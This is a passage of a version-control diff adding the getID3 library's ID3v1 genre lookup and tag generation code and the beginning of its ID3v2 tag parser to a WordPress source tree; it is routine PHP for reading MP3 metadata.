+			$GenreLookupSCMPX[250] = 'Japanese J-POP';
+			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
+			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
+			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
+			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
+			//$GenreLookupSCMPX[255] = 'Japanese Anime';
+		}
+
+		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
+	}
+
+	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
+		switch ($genreid) {
+			case 'RX':
+			case 'CR':
+				break;
+			default:
+				if (!is_numeric($genreid)) {
+					return false;
+				}
+				$genreid = intval($genreid); // to handle 3 or '3' or '03'
+				break;
+		}
+		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
+		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
+	}
+
+	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
+		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
+		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
+		foreach ($GenreLookup as $key => $value) {
+			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
+				return $key;
+			}
+		}
+		return false;
+	}
+
+	public static function StandardiseID3v1GenreName($OriginalGenre) {
+		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
+			return self::LookupGenreName($GenreID);
+		}
+		return $OriginalGenre;
+	}
+
+	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
+		$ID3v1Tag  = 'TAG';
+		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
+		if (!empty($track) && ($track > 0) && ($track <= 255)) {
+			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
+			$ID3v1Tag .= "\x00";
+			if (gettype($track) == 'string') {
+				$track = (int) $track;
+			}
+			$ID3v1Tag .= chr($track);
+		} else {
+			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
+		}
+		if (($genreid < 0) || ($genreid > 147)) {
+			$genreid = 255; // 'unknown' genre
+		}
+		switch (gettype($genreid)) {
+			case 'string':
+			case 'integer':
+				$ID3v1Tag .= chr(intval($genreid));
+				break;
+			default:
+				$ID3v1Tag .= chr(255); // 'unknown' genre
+				break;
+		}
+
+		return $ID3v1Tag;
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v2.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v2.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.tag.id3v2.php	(revision 33402)
@@ -0,0 +1,3424 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+///                                                            //
+// module.tag.id3v2.php                                        //
+// module for analyzing ID3v2 tags                             //
+// dependencies: module.tag.id3v1.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);
+
+class getid3_id3v2 extends getid3_handler
+{
+	public $StartingOffset = 0;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		//    Overall tag structure:
+		//        +-----------------------------+
+		//        |      Header (10 bytes)      |
+		//        +-----------------------------+
+		//        |       Extended Header       |
+		//        | (variable length, OPTIONAL) |
+		//        +-----------------------------+
+		//        |   Frames (variable length)  |
+		//        +-----------------------------+
+		//        |           Padding           |
+		//        | (variable length, OPTIONAL) |
+		//        +-----------------------------+
+		//        | Footer (10 bytes, OPTIONAL) |
+		//        +-----------------------------+
+
+		//    Header
+		//        ID3v2/file identifier      "ID3"
+		//        ID3v2 version              $04 00
+		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
+		//        ID3v2 size             4 * %0xxxxxxx
+
+
+		// shortcuts
+		$info['id3v2']['header'] = true;
+		$thisfile_id3v2                  = &$info['id3v2'];
+		$thisfile_id3v2['flags']         =  array();
+		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];
+
+
+		$this->fseek($this->StartingOffset);
+		$header = $this->fread(10);
+		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {
+
+			$thisfile_id3v2['majorversion'] = ord($header{3});
+			$thisfile_id3v2['minorversion'] = ord($header{4});
+
+			// shortcut
+			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];
+
+		} else {
+
+			unset($info['id3v2']);
+			return false;
+
+		}
+
+		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)
+
+			$info['error'][] = 'this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion'];
+			return false;
+
+		}
+
+		$id3_flags = ord($header{5});
+		switch ($id3v2_majorversion) {
+			case 2:
+				// %ab000000 in v2.2
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
+				break;
+
+			case 3:
+				// %abc00000 in v2.3
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
+				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
+				break;
+
+			case 4:
+				// %abcd0000 in v2.4
+				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
+				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
+				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
+				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
+				break;
+		}
+
+		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
+
+		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
+		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];
+
+
+
+		// create 'encoding' key - used by getid3::HandleAllTags()
+		// in ID3v2 every field can have it's own encoding type
+		// so force everything to UTF-8 so it can be handled consistantly
+		$thisfile_id3v2['encoding'] = 'UTF-8';
+
+
+	//    Frames
+
+	//        All ID3v2 frames consists of one frame header followed by one or more
+	//        fields containing the actual information. The header is always 10
+	//        bytes and laid out as follows:
+	//
+	//        Frame ID      $xx xx xx xx  (four characters)
+	//        Size      4 * %0xxxxxxx
+	//        Flags         $xx xx
+
+		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
+		if (!empty($thisfile_id3v2['exthead']['length'])) {
+			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
+		}
+		if (!empty($thisfile_id3v2_flags['isfooter'])) {
+			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
+		}
+		if ($sizeofframes > 0) {
+
+			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable
+
+			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
+			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
+				$framedata = $this->DeUnsynchronise($framedata);
+			}
+			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
+			//        of on tag level, making it easier to skip frames, increasing the streamability
+			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
+			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
+			//        the frame header [S:4.1.2] indicates unsynchronisation.
+
+
+			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
+			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header
+
+
+			//    Extended Header
+			if (!empty($thisfile_id3v2_flags['exthead'])) {
+				$extended_header_offset = 0;
+
+				if ($id3v2_majorversion == 3) {
+
+					// v2.3 definition:
+					//Extended header size  $xx xx xx xx   // 32-bit integer
+					//Extended Flags        $xx xx
+					//     %x0000000 %00000000 // v2.3
+					//     x - CRC data present
+					//Size of padding       $xx xx xx xx
+
+					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
+					$extended_header_offset += 4;
+
+					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
+					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
+					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];
+
+					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);
+
+					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
+					$extended_header_offset += 4;
+
+					if ($thisfile_id3v2['exthead']['flags']['crc']) {
+						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
+						$extended_header_offset += 4;
+					}
+					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];
+
+				} elseif ($id3v2_majorversion == 4) {
+
+					// v2.4 definition:
+					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
+					//Number of flag bytes       $01
+					//Extended Flags             $xx
+					//     %0bcd0000 // v2.4
+					//     b - Tag is an update
+					//         Flag data length       $00
+					//     c - CRC data present
+					//         Flag data length       $05
+					//         Total frame CRC    5 * %0xxxxxxx
+					//     d - Tag restrictions
+					//         Flag data length       $01
+
+					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
+					$extended_header_offset += 4;
+
+					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
+					$extended_header_offset += 1;
+
+					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
+					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];
+
+					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
+					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
+					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);
+
+					if ($thisfile_id3v2['exthead']['flags']['update']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
+						$extended_header_offset += 1;
+					}
+
+					if ($thisfile_id3v2['exthead']['flags']['crc']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
+						$extended_header_offset += 1;
+						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
+						$extended_header_offset += $ext_header_chunk_length;
+					}
+
+					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
+						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
+						$extended_header_offset += 1;
+
+						// %ppqrrstt
+						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
+						$extended_header_offset += 1;
+						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
+						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions
+
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
+						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
+					}
+
+					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
+						$info['warning'][] = 'ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')';
+					}
+				}
+
+				$framedataoffset += $extended_header_offset;
+				$framedata = substr($framedata, $extended_header_offset);
+			} // end extended header
+
+
+			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
+				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
+					// insufficient room left in ID3v2 header for actual data - must be padding
+					$thisfile_id3v2['padding']['start']  = $framedataoffset;
+					$thisfile_id3v2['padding']['length'] = strlen($framedata);
+					$thisfile_id3v2['padding']['valid']  = true;
+					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
+						if ($framedata{$i} != "\x00") {
+							$thisfile_id3v2['padding']['valid'] = false;
+							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
+							$info['warning'][] = 'Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)';
+							break;
+						}
+					}
+					break; // skip rest of ID3v2 header
+				}
+				if ($id3v2_majorversion == 2) {
+					// Frame ID  $xx xx xx (three characters)
+					// Size      $xx xx xx (24-bit integer)
+					// Flags     $xx xx
+
+					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
+					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
+					$frame_name   = substr($frame_header, 0, 3);
+					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
+					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs
+
+				} elseif ($id3v2_majorversion > 2) {
+
+					// Frame ID  $xx xx xx xx (four characters)
+					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
+					// Flags     $xx xx
+
+					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
+					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata
+
+					$frame_name = substr($frame_header, 0, 4);
+					if ($id3v2_majorversion == 3) {
+						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
+					} else { // ID3v2.4+
+						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
+					}
+
+					if ($frame_size < (strlen($framedata) + 4)) {
+						$nextFrameID = substr($framedata, $frame_size, 4);
+						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
+							// next frame is OK
+						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
+							// MP3ext known broken frames - "ok" for the purposes of this test
+						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
+							$info['warning'][] = 'ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3';
+							$id3v2_majorversion = 3;
+							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
+						}
+					}
+
+
+					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
+				}
+
+				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
+					// padding encountered
+
+					$thisfile_id3v2['padding']['start']  = $framedataoffset;
+					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
+					$thisfile_id3v2['padding']['valid']  = true;
+
+					$len = strlen($framedata);
+					for ($i = 0; $i < $len; $i++) {
+						if ($framedata{$i} != "\x00") {
+							$thisfile_id3v2['padding']['valid'] = false;
+							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
+							$info['warning'][] = 'Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)';
+							break;
+						}
+					}
+					break; // skip rest of ID3v2 header
+				}
+
+				if ($frame_name == 'COM ') {
+					$info['warning'][] = 'error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably others too)]';
+					$frame_name = 'COMM';
+				}
+				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {
+
+					unset($parsedFrame);
+					$parsedFrame['frame_name']      = $frame_name;
+					$parsedFrame['frame_flags_raw'] = $frame_flags;
+					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
+					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
+					$parsedFrame['dataoffset']      = $framedataoffset;
+
+					$this->ParseID3v2Frame($parsedFrame);
+					$thisfile_id3v2[$frame_name][] = $parsedFrame;
+
+					$framedata = substr($framedata, $frame_size);
+
+				} else { // invalid frame length or FrameID
+
+					if ($frame_size <= strlen($framedata)) {
+
+						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {
+
+							// next frame is valid, just skip the current frame
+							$framedata = substr($framedata, $frame_size);
+							$info['warning'][] = 'Next ID3v2 frame is valid, skipping current frame.';
+
+						} else {
+
+							// next frame is invalid too, abort processing
+							//unset($framedata);
+							$framedata = null;
+							$info['error'][] = 'Next ID3v2 frame is also invalid, aborting processing.';
+
+						}
+
+					} elseif ($frame_size == strlen($framedata)) {
+
+						// this is the last frame, just skip
+						$info['warning'][] = 'This was the last ID3v2 frame.';
+
+					} else {
+
+						// next frame is invalid too, abort processing
+						//unset($framedata);
+						$framedata = null;
+						$info['warning'][] = 'Invalid ID3v2 frame size, aborting.';
+
+					}
+					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {
+
+						switch ($frame_name) {
+							case "\x00\x00".'MP':
+							case "\x00".'MP3':
+							case ' MP3':
+							case 'MP3e':
+							case "\x00".'MP':
+							case ' MP':
+							case 'MP3':
+								$info['warning'][] = 'error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]';
+								break;
+
+							default:
+								$info['warning'][] = 'error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).';
+								break;
+						}
+
+					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {
+
+						$info['error'][] = 'error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).';
+
+					} else {
+
+						$info['error'][] = 'error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).';
+
+					}
+
+				}
+				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));
+
+			}
+
+		}
+
+
+	//    Footer
+
+	//    The footer is a copy of the header, but with a different identifier.
+	//        ID3v2 identifier           "3DI"
+	//        ID3v2 version              $04 00
+	//        ID3v2 flags                %abcd0000
+	//        ID3v2 size             4 * %0xxxxxxx
+
+		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
+			$footer = $this->fread(10);
+			if (substr($footer, 0, 3) == '3DI') {
+				$thisfile_id3v2['footer'] = true;
+				$thisfile_id3v2['majorversion_footer'] = ord($footer{3});
+				$thisfile_id3v2['minorversion_footer'] = ord($footer{4});
+			}
+			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
+				$id3_flags = ord(substr($footer{5}));
+				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
+				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
+				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
+				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);
+
+				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
+			}
+		} // end footer
+
+		if (isset($thisfile_id3v2['comments']['genre'])) {
+			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
+				unset($thisfile_id3v2['comments']['genre'][$key]);
+				$thisfile_id3v2['comments'] = getid3_lib::array_merge_noclobber($thisfile_id3v2['comments'], array('genre'=>$this->ParseID3v2GenreString($value)));
+			}
+		}
+
+		if (isset($thisfile_id3v2['comments']['track'])) {
+			foreach ($thisfile_id3v2['comments']['track'] as $key => $value) {
+				if (strstr($value, '/')) {
+					list($thisfile_id3v2['comments']['tracknum'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track'][$key]);
+				}
+			}
+		}
+
+		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
+			$thisfile_id3v2['comments']['year'] = array($matches[1]);
+		}
+
+
+		if (!empty($thisfile_id3v2['TXXX'])) {
+			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
+			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
+				switch ($txxx_array['description']) {
+					case 'replaygain_track_gain':
+						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
+						}
+						break;
+					case 'replaygain_track_peak':
+						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
+						}
+						break;
+					case 'replaygain_album_gain':
+						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
+							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
+						}
+						break;
+				}
+			}
+		}
+
+
+		// Set avdataoffset
+		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
+		if (isset($thisfile_id3v2['footer'])) {
+			$info['avdataoffset'] += 10;
+		}
+
+		return true;
+	}
+
+
+	public function ParseID3v2GenreString($genrestring) {
+		// Parse genres into arrays of genreName and genreID
+		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
+		// ID3v2.4.x: '21' $00 'Eurodisco' $00
+		$clean_genres = array();
+		if (strpos($genrestring, "\x00") === false) {
+			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
+		}
+		$genre_elements = explode("\x00", $genrestring);
+		foreach ($genre_elements as $element) {
+			$element = trim($element);
+			if ($element) {
+				if (preg_match('#^[0-9]{1,3}#', $element)) {
+					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
+				} else {
+					$clean_genres[] = str_replace('((', '(', $element);
+				}
+			}
+		}
+		return $clean_genres;
+	}
+
+
+	public function ParseID3v2Frame(&$parsedFrame) {
+
+		// shortcuts
+		$info = &$this->getid3->info;
+		$id3v2_majorversion = $info['id3v2']['majorversion'];
+
+		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
+		if (empty($parsedFrame['framenamelong'])) {
+			unset($parsedFrame['framenamelong']);
+		}
+		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
+		if (empty($parsedFrame['framenameshort'])) {
+			unset($parsedFrame['framenameshort']);
+		}
+
+		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
+			if ($id3v2_majorversion == 3) {
+				//    Frame Header Flags
+				//    %abc00000 %ijk00000
+				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
+				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
+				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
+				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
+				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
+				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity
+
+			} elseif ($id3v2_majorversion == 4) {
+				//    Frame Header Flags
+				//    %0abc0000 %0h00kmnp
+				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
+				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
+				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
+				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
+				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
+				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
+				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
+				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator
+
+				// Frame-level de-unsynchronisation - ID3v2.4
+				if ($parsedFrame['flags']['Unsynchronisation']) {
+					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
+				}
+
+				if ($parsedFrame['flags']['DataLengthIndicator']) {
+					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
+					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
+				}
+			}
+
+			//    Frame-level de-compression
+			if ($parsedFrame['flags']['compression']) {
+				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
+				if (!function_exists('gzuncompress')) {
+					$info['warning'][] = 'gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"';
+				} else {
+					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
+					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
+						$parsedFrame['data'] = $decompresseddata;
+						unset($decompresseddata);
+					} else {
